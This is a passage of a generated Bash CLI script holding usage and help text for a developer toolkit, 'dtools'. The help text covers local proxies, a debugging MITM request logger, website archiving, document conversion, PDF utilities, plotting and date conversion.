"mitm-proxy") " + printf " %s Download an archive an entire website for offline viewing via Kiwix and .zim formats using OpenZim's zimit\n" "$(green "archive-website") " + printf " %s Convert a WARC to ZIM format for easier offline viewing using OpenZim's zimit\n" "$(green "warc-2-zim") " + printf " %s Start a local API to generate Mermaid diagrams\n" "$(green "mermaid-api") " + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_network_generate_self_signed_certificate_usage() { + printf "dtools network generate-self-signed-certificate - Generate a self-signed HTTPS certificate for use in testing\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools network generate-self-signed-certificate [OPTIONS]\n" + printf " dtools network generate-self-signed-certificate --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--output OUTPUT (required)")" + printf " The file to write the certificate to\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--key-output KEY_OUTPUT (required)")" + printf " The output file to write the key to\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--hostname HOSTNAME")" + printf " The hostname that the certificate should be created to work with\n" + printf " %s\n" "Default: localhost" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--pfx-output PFX_OUTPUT")" + printf " Output a pfx file as well\n" + printf " %s\n" "Default: false" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " dtools network generate-self-signed-certificate --output /etc/dtools/test.csr\n --key-output /etc/dtools/test.key\n" + printf " # Both in one file\n dtools network generate-self-signed-certificate --output /etc/dtools/test.pem\n --key-output /etc/dtools/test.pem\n" + printf " # Create a pfx file for Radarr\n dtools network generate-self-signed-certificate --output /etc/dtools/test.crt\n --key-output /etc/dtools/test.key --hostname 192.168.0.105 --output-pfx\n /etc/dtools/test.pfx\n" + echo + + fi +} + +# :command.usage +dtools_network_https_proxy_usage() { + printf "dtools network https-proxy - Proxy HTTPS traffic\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools network https-proxy [OPTIONS]\n" + printf " dtools network https-proxy --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--https-port HTTPS_PORT")" + printf " The https port to proxy\n" + printf " %s\n" "Default: 443" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--proxy-target-host PROXY_TARGET_HOST")" + printf " The target host to redirect all https traffic to\n" + printf " %s\n" "Default: localhost" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--proxy-target-port PROXY_TARGET_PORT (required)")" + printf " The port on the target host to send all https traffic to\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--ssl-certificate SSL_CERTIFICATE")" + printf " The SSL certificate to use\n" + printf " %s\n" "Default: /etc/devtools/dtools.pem" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_network_tcp_proxy_usage() { + printf "dtools network tcp-proxy - Proxy all TCP traffic with simpleproxy (Debian-based systems only)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools network tcp-proxy [OPTIONS]\n" + printf " dtools network tcp-proxy --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--tcp-host TCP_HOST")" + printf " The host to listen on\n" + printf " %s\n" "Default: 0.0.0.0" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--tcp-port TCP_PORT (required)")" + printf " The TCP port to listen on\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--proxy-target-host PROXY_TARGET_HOST")" + printf " The target host to redirect all TCP traffic to\n" + printf " %s\n" "Default: localhost" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--proxy-target-port PROXY_TARGET_PORT (required)")" + printf " The target port on the target host to redirect all TCP traffic to\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " dtools network tcp-proxy --tcp-host 192.168.0.253 --tcp-port 5432\n --proxy-target-host localhost --proxy-target-port 5433\n" + echo + + fi +} + +# :command.usage +dtools_network_proxy_with_nginx_usage() { + if [[ -n $long_usage ]]; then + printf "dtools network proxy-with-nginx\n\n" + printf " Proxy all HTTP and HTTPS requests locally to a remote server using Nginx.\n This is useful when trying to proxy a remote HTTPS API that requires a\n specific certificate or hostname.\n\n" + else + printf "dtools network proxy-with-nginx - Proxy all HTTP and HTTPS requests locally to a remote server using Nginx.\n\n" + fi + + printf "%s\n" "$(bold "Usage:")" + printf " dtools network proxy-with-nginx [OPTIONS]\n" + printf " dtools network proxy-with-nginx --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--tcp-port TCP_PORT")" + printf " The TCP port to listen on\n" + printf " %s\n" "Default: 8080" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--proxy-target-host PROXY_TARGET_HOST (required)")" + printf " The target host to redirect all traffic to\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--proxy-target-protocol PROXY_TARGET_PROTOCOL")" + printf " The protocol on the host that all traffic is redirected to\n" + printf " %s\n" "Allowed: http, https" + printf " %s\n" "Default: http" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " # Query with curl 'http://localhost:8081/api/Token', for example\n dtools network proxy-with-nginx --tcp-port 8081 --proxy-target-host\n some.api.com --proxy-target-protocol https\n" + echo + + fi +} + +# :command.usage +dtools_network_mitm_proxy_usage() { + printf "dtools network mitm-proxy - Start a Man-in-the-Middle (MITM) proxy to intercept and log all requests\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools network mitm-proxy DOMAIN [OPTIONS]\n" + printf " dtools network mitm-proxy --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--port PORT")" + printf " The local port to run the proxy on\n" + printf " %s\n" "Default: 8080" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--script-file SCRIPT_FILE")" + printf " The script file to run on all intercepted requests (defaults to simply\n logging out method, url, headers, and body)\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "DOMAIN")" + printf " The domain to intercept requests for (regex)\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " # Run the proxy on port 8080 for all *google*.com domains\n dtools network mitm-proxy .*google.*\.com\n # Run a script/service/etc. that will be proxied by MITM proxy\n export HTTP_PROXY=http://localhost:8080\n export HTTPS_PROXY=https://localhost:8080\n export REQUESTS_CA_BUNDLE=~/.mitmproxy/mitmproxy-ca-cert.pem\n python3 vertex_model_deployment_script.py\n" + echo + + fi +} + +# :command.usage +dtools_network_archive_website_usage() { + printf "dtools network archive-website - Download an archive an entire website for offline viewing via Kiwix and .zim formats using OpenZim's zimit\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools network archive-website [OPTIONS]\n" + printf " dtools network archive-website --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--shm-size SHM_SIZE")" + printf " The size of /dev/shm to allow the container to use\n" + printf " %s\n" "Default: 2gb" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--url URL (required)")" + printf " The URL to be crawled\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--name NAME (required)")" + printf " The name of the ZIM file\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--output OUTPUT_DIRECTORY")" + printf "\n" + printf " %s\n" "Default: /output" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--limit LIMIT")" + printf " Limit capture to at most URLs\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--behaviors BEHAVIORS")" + printf " Control which browsertrix behaviors are ran (defaults to\n 'autoplay,autofetch,siteSpecific', adding 'autoscroll' to the list is\n possible to automatically scroll the pages and fetch resources which are\n lazy loaded)\n" + printf " %s\n" "Default: autoplay,autofetch,siteSpecific" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--exclude EXCLUDE_REGEX")" + printf " Skip URLs that mmatch the regex from crawling. Can be specified multiple\n times. An example is '--exclude=|(\?q=|signup-landing\?|\?cid=)\"', where\n URLs that contain either '?q=' or 'signup-landing?' or '?cid=' will be\n excluded\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--workers WORKERS")" + printf " Number of crawl workers to run in parallel\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--wait-until WAIT_UNTIL")" + printf " Puppeteer setting for how long to wait for page to load. See\n https://github.com/puppeteer/puppeteer/blob/main/docs/api.md#pagegotourl-options\n The default is 'load', but for static sites, '--wait-until domcontentloaded'\n may be used to speed up the crawl (to avoid waiting for ads to load for\n example).\n" + printf " %s\n" "Default: load" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--keep")" + printf " If set, keep the WARC files in a temp directory inside the output directory\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " dtools network archive-website --url URL --name myzimfile\n" + printf " # Exclude all video files\n dtools network archive-website --url URL --name myzimfile --exclude\n \".*\.(mp4|webm|ogg|mov|avi|mkv)(\?.*)?$\"\n" + printf " dtools network archive-website --shm-size 2gb --url\n 'https://www.niaid.nih.gov' --name niaid-backup --exclude\n '.*\.(mp4|webm|ogg|mov|avi|mkv|mpeg|tar|gz|zip|rar)(\?.*)?$' --workers 16\n --wait-until domcontentloaded --behaviors\n 'autoplay,autofetch,siteSpecific,autoscroll'\n" + printf " # Serve the website locally on port 9090\n kiwix-serve --port 9090 myzimfile.zim\n" + echo + + fi +} + +# :command.usage +dtools_network_warc_2_zim_usage() { + printf "dtools network warc-2-zim - Convert a WARC to ZIM format for easier offline viewing using OpenZim's zimit\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools network warc-2-zim [OPTIONS]\n" + printf " dtools network warc-2-zim --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--shm-size SHM_SIZE")" + printf " The size of /dev/shm to allow the container to use\n" + printf " %s\n" "Default: 2gb" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--url URL (required)")" + printf " The URL to be crawled\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--name NAME (required)")" + printf " The name of the ZIM file\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--output OUTPUT_DIRECTORY")" + printf "\n" + printf " %s\n" "Default: /output" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--limit LIMIT")" + printf " Limit capture to at most URLs\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--behaviors BEHAVIORS")" + printf " Control which browsertrix behaviors are ran (defaults to\n 'autoplay,autofetch,siteSpecific', adding 'autoscroll' to the list is\n possible to automatically scroll the pages and fetch resources which are\n lazy loaded)\n" + printf " %s\n" "Default: autoplay,autofetch,siteSpecific" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--exclude EXCLUDE_REGEX")" + printf " Skip URLs that match the regex from crawling. Can be specified multiple\n times. An example is '--exclude=|(\?q=|signup-landing\?|\?cid=)\"', where\n URLs that contain either '?q=' or 'signup-landing?' or '?cid=' will be\n excluded\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--workers WORKERS")" + printf " Number of crawl workers to run in parallel\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--wait-until WAIT_UNTIL")" + printf " Puppeteer setting for how long to wait for page to load. See\n https://github.com/puppeteer/puppeteer/blob/main/docs/api.md#pagegotourl-options\n The default is 'load', but for static sites, '--wait-until domcontentloaded'\n may be used to speed up the crawl (to avoid waiting for ads to load for\n example).\n" + printf " %s\n" "Default: load" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--keep")" + printf " If set, keep the WARC files in a temp directory inside the output directory\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " dtools network warc-2-zim --url URL --name myzimfile\n" + printf " # Exclude all video files\n dtools network warc-2-zim --url URL --name myzimfile --exclude\n \".*\.(mp4|webm|ogg|mov|avi|mkv)(\?.*)?$\"\n" + echo + + fi +} + +# :command.usage +dtools_network_mermaid_api_usage() { + printf "dtools network mermaid-api - Start a local API to generate Mermaid diagrams\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools network mermaid-api [PORT]\n" + printf " dtools network mermaid-api --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "PORT")" + printf " The port to run the API on\n" + printf " %s\n" "Default: 8087" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " curl --location --request POST 'http://localhost:8087/generate' \\n --header 'Content-Type: text/plain' \\n --data-raw 'graph LR\n \n A-->B\n B-->C\n C-->D\n C-->F\n '\n" + echo + + fi +} + +# :command.usage +dtools_ntfy_usage() { + printf "dtools ntfy - ntfy commands for easy reference\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools ntfy COMMAND\n" + printf " dtools ntfy [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s Subscribe to the specified ntfy topic and optionally play a sound whenever a message is received.\n" "$(green "subscribe")" + printf " %s Open the ntfy message publishing reference page in your default browser\n" "$(green "reference")" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_ntfy_subscribe_usage() { + printf "dtools ntfy subscribe - Subscribe to the specified ntfy topic and optionally play a sound whenever a message is received.\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools ntfy subscribe [TOPIC] [OPTIONS]\n" + printf " dtools ntfy subscribe --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--sound, -s SOUND")" + printf " The mp3 sound file to play when a message is received\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "TOPIC")" + printf " The name of the ntfy topic to subscribe to\n" + printf " %s\n" "Default: alerts" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " dtools ntfy subscribe vpn --sound ~/Music/notification-sounds/notify.mp3\n" + printf " ntfy sub topic 'echo \"$raw\" && mpg321 -q\n ~/Music/notification-sounds/notify.mp3'\n" + echo + + fi +} + +# :command.usage +dtools_ntfy_reference_usage() { + printf "dtools ntfy reference - Open the ntfy message publishing reference page in your default browser\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools ntfy reference\n" + printf " dtools ntfy reference --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_document_usage() { + printf "dtools document - Commands for manipulating documents\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools document COMMAND\n" + printf " dtools document [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s Convert any given document into any other supported format using pandoc\n" "$(green "convert") " + printf " %s Merge a list of PDFs into a single PDF file\n" "$(green "merge-pdf") " + printf " %s Decrypt a PDF so it can be manipulated via CLI tools\n" "$(green "decrypt-pdf")" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_document_convert_usage() { + printf "dtools document convert - Convert any given document into any other supported format using pandoc\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools document convert FILE [OPTIONS]\n" + printf " dtools document convert --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--source-format SOURCE_FORMAT (required)")" + printf " The format of the source file\n" + printf " %s\n" "Allowed: bibtex, biblatex, bits, commonmark, commonmark_x, creole, csljson, csv, tsv, djot, docbook, docx, dokuwiki, endnotexml, epub, fb2, gfm, haddock, html, ipynb, jats, jira, json, latex, markdown, markdown_mmd, markdown_phpextra, markdown_strict, mediawiki, man, mdoc, muse, native, odt, opml, org, pod, ris, rtf, rst, t2t, textile, tikiwiki, twiki, typst, vimwiki" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--target-format TARGET_FORMAT (required)")" + printf " The target format of the output file\n" + printf " %s\n" "Allowed: ansi, asciidoc, asciidoc_legacy, asciidoctor, beamer, bibtex, biblatex, chunkedhtml, commonmark, commonmark_x, context, csljson, djot, docbook, docbook5, docx, dokuwiki, epub, epub2, fb2, gfm, haddock, html, html4, icml, ipynb, jats_archiving, jats_articleauthoring, jats_publishing, jats, jira, json, latex, man, markdown, markdown_mmd, markdown_phpextra, markdown_strict, markua, mediawiki, ms, muse, native, odt, opml, opendocument, org, pdf, plain, pptx, rst, rtf, texinfo, textile, slideous, slidy, dzslides, revealjs, s5, tei, typst, xwiki, zimwiki" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--output-file OUTPUT_FILE")" + printf " The output file with the extension (defaults to\n /.$)\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "FILE")" + printf " The file to convert\n" + echo + + fi +} + +# :command.usage +dtools_document_merge_pdf_usage() { + printf "dtools document merge-pdf - Merge a list of PDFs into a single PDF file\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools document merge-pdf OUTPUT-FILE [OPTIONS]\n" + printf " dtools document merge-pdf --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--input-file, -i INPUT_FILE (repeatable)")" + printf " An input file to merge into a single PDF\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "OUTPUT-FILE")" + printf " The name of the output PDF file name\n" + echo + + fi +} + +# :command.usage +dtools_document_decrypt_pdf_usage() { + printf "dtools document decrypt-pdf - Decrypt a PDF so it can be manipulated via CLI tools\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools document decrypt-pdf INPUT-FILE [OPTIONS]\n" + printf " dtools document decrypt-pdf --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--output-file OUTPUT_FILE (required)")" + printf " The name of the output decrypted PDF file\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "INPUT-FILE")" + printf " The PDF you wish to decrypt\n" + echo + + fi +} + +# :command.usage +dtools_git_usage() { + printf "dtools git - Git commands\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools git COMMAND\n" + printf " dtools git [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s Search all previous tracked files for a given string to see all changes involving the specified string\n" "$(green "search-history")" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_git_search_history_usage() { + printf "dtools git search-history - Search all previous tracked files for a given string to see all changes involving the specified string\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools git search-history SEARCH-STRING\n" + printf " dtools git search-history --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "SEARCH-STRING")" + printf " The string to search all git history for\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " dtools git search-history 'energy_required'\n" + echo + + fi +} + +# :command.usage +dtools_plot_usage() { + printf "dtools plot - Plot data piped into this command (one-off)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools plot [OPTIONS]\n" + printf " dtools plot --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--file, -f FILE")" + printf " File with data to plot\n" + printf " %s\n" "Default: -" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--type, -t TYPE")" + printf " The type of plot to create\n" + printf " %s\n" "Allowed: line, bar" + printf " %s\n" "Default: line" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--stack-vertically")" + printf " When plotting multiple graphs, stack them vertically instead of combining\n them into one graph (only for bar graphs)\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--multiplot")" + printf " Plot multiple graphs at once\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--gui")" + printf " Open the plot in a GUI window\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--loki")" + printf " Use Loki to generate the plot command instead of using the templated command\n" + printf " %s\n" "Conflicts: --file, --type, --stack-vertically, --multiplot, --gui" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " seq 0 10 | dtools plot\n" + printf " seq 0 10 > test_data && dtools plot --file test_data\n" + echo + + fi +} + +# :command.usage +dtools_real_time_plot_usage() { + printf "dtools real-time-plot - Continuously plot data piped into this command (like following a log tail)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools real-time-plot\n" + printf " dtools real-time-plot --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " {\n for ((i=0; i<=100; i+=2)); do\n sleep 1\n echo \"$RANDOM\"\n done\n } | dtools real-time-plot\n" + echo + + fi +} + +# :command.usage +dtools_date_to_epoch_usage() { + printf "dtools date-to-epoch - Convert a given date timestamp into epoch millis\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools date-to-epoch TIMESTAMP\n" + printf " dtools date-to-epoch --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "TIMESTAMP")" + printf " The date timestamp to convert.\n Specify '-' to use stdout\n" + echo + + fi +} + +# :command.usage +dtools_epoch_to_date_usage() { + printf "dtools epoch-to-date - Convert a given epoch (in millis) to a date timestamp\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools epoch-to-date EPOCH\n" + printf " dtools epoch-to-date --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "EPOCH")" + printf " The epoch (in millis) to convert.\n Specify '-' to use stdout\n" + echo + + fi +} + +# :command.usage +dtools_date_to_iso_8601_usage() { + printf "dtools date-to-iso-8601 - Convert a given date into ISO 8601 format\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools date-to-iso-8601 DATE\n" + printf " dtools date-to-iso-8601 --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "DATE")" + printf " The date to convert.\n Specify '-' to use stdout\n" + echo + + fi +} + +# :command.usage +dtools_view_markdown_usage() { + printf "dtools view-markdown - View markdown file in a browser with images and links\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools view-markdown FILE\n" + printf " dtools view-markdown --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "FILE")" + printf " The markdown file to view\n" + echo + + fi +} + +# :command.usage +dtools_start_simple_server_usage() { + printf "dtools start-simple-server - Starts a simple server using netcat\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools start-simple-server [OPTIONS]\n" + printf " dtools start-simple-server --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--port PORT")" + printf " The port to run the server on\n" + printf " %s\n" "Default: 8000" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_fzf_usage() { + printf "dtools fzf - Pipe the output of a command to fzf for interactive selection\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools fzf [COMMAND] [OPTIONS]\n" + printf " dtools fzf --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--pre-processing PRE-PROCESSING")" + printf " pre-processes the fzf selections before passing them into the target\n 'command'\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--additional-xargs-arguments ADDITIONAL-XARGS-ARGUMENTS")" + printf " Additional arguments to pass to xargs\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "COMMAND")" + printf " The command to execute when one or more items are selected\n" + printf " %s\n" "Default: vi" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " # Open selected files in helix\n grep -ri 'test_value' . | dtools fzf\n" + printf " # Tail the selected log group\n grep -ri 'test_value' . | dtools fzf 'dtools aws logs tail-log-group'\n" + printf " # Tail the selected log groups and run them as separate commands for each\n selected group\n seq 1 10 | dtools fzf --pre-processing 'xargs -0 -I {} echo \"/some/prefix/{}\"'\n --additional-xargs-arguments '-n 1' 'dtools aws logs tail-log-group'\n" + echo + + fi +} + +# :command.usage +dtools_backup_usage() { + printf "dtools backup - Create a backup of a file or directory. By default, this will create a copy of 